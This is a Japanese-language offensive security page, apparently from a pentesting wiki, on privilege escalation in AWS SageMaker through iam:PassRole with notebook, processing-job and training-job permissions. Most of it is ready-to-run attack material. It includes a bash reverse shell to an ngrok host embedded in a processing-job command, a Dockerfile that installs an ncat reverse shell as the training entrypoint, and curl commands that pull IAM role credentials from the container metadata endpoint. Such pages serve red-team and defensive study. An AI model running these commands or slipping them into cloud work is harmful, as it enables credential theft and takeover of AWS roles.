AWS - Sagemaker Privesc

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iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAMロールを使用してノートブックを作成し始めます。

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

レスポンスには、作成されたノートブックインスタンスのARNを含むNotebookInstanceArnフィールドが含まれるべきです。次に、create-presigned-notebook-instance-url APIを使用して、ノートブックインスタンスが準備完了した際にアクセスするためのURLを生成できます：

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

ブラウザでURLに移動し、右上の `Open JupyterLab` をクリックします。次に、「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。

これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。

潜在的な影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreatePresignedNotebookInstanceUrl

もしJupyter ノートブックがすでに実行中であり、`sagemaker:ListNotebookInstances`を使用してそれらをリストできる場合（または他の方法で発見できる場合）、それらのためのURLを生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます。

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

潜在的な影響: 添付されたsagemakerサービスロールへの権限昇格。

sagemaker:CreateProcessingJob,iam:PassRole

その権限を持つ攻撃者は、sagemakerに処理ジョブを実行させることができます。攻撃者は、AWS管理ECSアカウントインスタンスで実行されるコンテナの定義を指定し、添付されたIAMロールの資格情報を盗むことができます。

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

潜在的な影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreateTrainingJob, iam:PassRole

その権限を持つ攻撃者は、任意のコンテナを実行するトレーニングジョブを作成でき、それにロールが付与されます。したがって、攻撃者はそのロールの資格情報を盗むことができます。

このシナリオは、前のものよりも悪用が難しいです。なぜなら、攻撃者に直接revシェルや資格情報を送信するDockerイメージを生成する必要があるからです（トレーニングジョブの設定で開始コマンドを指定することはできません）。

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

潜在的影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

その権限を持つ攻撃者は（潜在的に）ハイパーパラメータトレーニングジョブを作成し、任意のコンテナをそれにロールを付けて実行できる可能性があります。 時間がなかったため、私はこの脆弱性を悪用していませんが、以前の脆弱性と似ているように見えます。悪用の詳細を含むPRを送信してください。

参考文献

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/

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